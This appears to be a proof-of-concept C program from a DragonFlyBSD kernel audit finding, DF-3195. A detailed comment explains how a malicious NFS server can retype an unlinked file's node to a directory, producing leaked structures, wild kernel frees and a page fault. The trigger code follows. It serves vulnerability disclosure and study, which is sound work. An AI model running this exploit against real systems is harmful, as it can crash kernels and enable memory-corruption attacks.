⬢ DragonFlyBSD Kernel Audit
DF-3195 / trigger_retype.c
← back to finding ↓ download raw
/*
 * trigger_retype.c - DF-3195 PoC (run as an unprivileged-capable user;
 * the mount itself is set up by root, the trigger is plain local syscalls)
 *
 * Chain (all client-side syscalls, server is malicious):
 *  1. open(O_CREAT) + unlink() while open
 *       -> nfs_sillyrename() stores a VALID struct sillyrename on the
 *          file's VREG nfsnode (union n_un3.nf_silly), sets NREMOVED and
 *          VREF_FINALIZE.  Everything so far is completely honest.
 *  2. sleep() past the attribute-cache timeout, then fstat(fd)
 *       -> GETATTR RPC; the server (mode "retype") answers with
 *          DIRECTORY-typed attributes for the file's own file handle
 *          -> nfs_loadattrcache() -> nfs_setvtype(vp, VDIR)
 *             (sys/vfs/nfs/nfs_subs.c:723-724) retypes the LIVE node.
 *  3. close(fd)
 *       -> VREF_FINALIZE fires vnode_terminate -> VOP_INACTIVE ->
 *          nfs_inactive (sys/vfs/nfs/nfs_node.c:392):
 *             v_type == VDIR  =>  the sillyrename flush is SKIPPED
 *             (sp leaked together with s_cred and the s_dvp reference)
 *          NREMOVED set -> vrecycle -> VOP_RECLAIM -> nfs_reclaim
 *          (sys/vfs/nfs/nfs_node.c:466-473):
 *             v_type == VDIR  =>  cookie teardown walks n_un3.nd_cook,
 *             whose lh_first IS the struct sillyrename pointer ->
 *             kfree(sp, M_NFSDIROFF) on an M_NFSREQ block, then
 *             dp = sp->s_cred freed as M_NFSDIROFF, then *(void**)cred
 *             used as the next list link -> wild frees / page fault.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <sys/stat.h>

int
main(int argc, char **argv)
{
	const char *path = "/mnt/f";
	struct stat st;
	int fd, rc;

	if (argc > 1)
		path = argv[1];

	fd = open(path, O_CREAT | O_RDWR, 0666);
	if (fd < 0) {
		perror("open");
		return 1;
	}
	printf("[1] open(%s) = fd %d\n", path, fd);
	fflush(stdout);

	rc = unlink(path);
	if (rc != 0) {
		perror("unlink");
		return 1;
	}
	printf("[2] unlink() = 0  (silly-rename pending: valid sp on VREG node)\n");
	fflush(stdout);

	/* let the attribute cache go stale so fstat() must RPC */
	printf("[3] sleeping 16s for attr-cache expiry...\n");
	fflush(stdout);
	sleep(16);

	rc = fstat(fd, &st);
	if (rc != 0) {
		perror("fstat");
		return 1;
	}
	printf("[4] fstat(fd): server-claimed type = %s (live retype applied)\n",
	    S_ISDIR(st.st_mode) ? "DIRECTORY" : "regular");
	fflush(stdout);

	printf("[5] close(fd) -> VOP_INACTIVE (sp flush skipped) + vrecycle -> "
	    "VOP_RECLAIM (cookie-walk on sp) ...\n");
	fflush(stdout);
	rc = close(fd);
	printf("[6] close() = %d -- reached only if the kernel survived\n", rc);
	fflush(stdout);
	sleep(1);
	return 0;
}